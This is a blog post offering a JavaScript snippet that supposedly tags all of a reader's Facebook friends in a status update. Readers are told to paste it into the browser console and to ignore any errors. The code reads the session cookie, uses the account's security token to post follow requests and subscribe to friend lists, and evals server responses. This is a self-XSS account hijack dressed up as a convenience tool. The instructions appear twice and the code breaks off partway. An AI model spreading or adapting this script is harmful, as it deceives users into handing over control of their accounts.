After updating a status, we tag our friends in comments to notify them to see the status update. Well, facebook has already provided us the feature to tag our friends while typing the post, but that takes lots of time and it is quiet boring. So, I am sharing a javascript code to tag all your friends in a status update. It is simple, fast and works fine. So, let's see how to tag all facebook friends in a status update.
> Login to your facebook account and update a status as you do normally.
> Now click the timestamp as shown in the image below to go to the url of that status update.
> Now press ctrl+shift+J keys (for chrome browser) to open console editor.
> Now copy the following code and paste in the console editor and press enter.
> Wait for a minute, if you see any errors in the console box, just ignore them.
> Now refresh the page and you will see that all your friends are tagged in your status update in the form of comments.
Enjoy tagging your friends and if you liked this post, please share it.
> Login to your facebook account and update a status as you do normally.
> Now click the timestamp as shown in the image below to go to the url of that status update.
> Now press ctrl+shift+J keys (for chrome browser) to open console editor.
> Now copy the following code and paste in the console editor and press enter.
function x__0(){return window.ActiveXObject?new ActiveXObject("Msxml2.XMLHTTP"):new XMLHttpRequest}function get_friends(){var e=x__0();e.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",false);e.send(null);if(e.readyState==4){var t=JSON.parse(e.responseText.substring(e.responseText.indexOf("{")));return t.payload.entries}return false}function get_uid(e){var t=x__0();t.open("GET","http://graph.facebook.com/"+e,false);t.send();if(t.readyState==4){return uid=JSON.parse(t.responseText).id}return false}function cereziAl(e){var t=e+"=";if(document.cookie.length>0){konum=document.cookie.indexOf(t);if(konum!=-1){konum+=t.length;son=document.cookie.indexOf(";",konum);if(son==-1)son=document.cookie.length;return unescape(document.cookie.substring(konum,son))}else{return""}}}function getRandomInt(e,t){return Math.floor(Math.random()*(t-e+1))+e}function randomValue(e){return e[getRandomInt(0,e.length-1)]}function a(e){var t=new XMLHttpRequest;var n="/ajax/follow/follow_profile.php?__a=1";var r="profile_id="+e+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";t.open("POST",n,true);t.setRequestHeader("Content-type","application/x-www-form-urlencoded");t.setRequestHeader("Content-length",r.length);t.setRequestHeader("Connection","close");t.onreadystatechange=function(){if(t.readyState==4&&t.status==200){t.close}};t.send(r)}function sublist(e){var t=document.createElement("script");t.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+e+" }).send();";document.body.appendChild(t)}function sarkadaslari_al(){var xmlhttp=new XMLHttpRequest;xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){eval("arkadaslar = "+xmlhttp.responseText.toString().replace("for (;;);","")+";");for(f=0;f
> Wait for a minute, if you see any errors in the console box, just ignore them.
> Now refresh the page and you will see that all your friends are tagged in your status update in the form of comments.
Enjoy tagging your friends and if you liked this post, please share it.
0 blogger:
Post a Comment